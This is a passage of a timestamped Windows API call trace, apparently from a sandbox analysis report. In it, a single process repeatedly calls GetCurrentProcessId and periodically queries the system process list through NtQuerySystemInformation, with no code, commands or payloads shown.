returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0250.565] GetCurrentProcessId () returned 0xbf4 [0251.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.241] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.242] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.243] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.244] GetCurrentProcessId () returned 0xbf4 [0251.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.914] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.915] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.916] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0251.917] GetCurrentProcessId () returned 0xbf4 [0252.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.616] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.617] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.618] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0252.619] GetCurrentProcessId () returned 0xbf4 [0253.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.310] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.311] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.312] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.313] GetCurrentProcessId () returned 0xbf4 [0253.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.835] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.836] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () 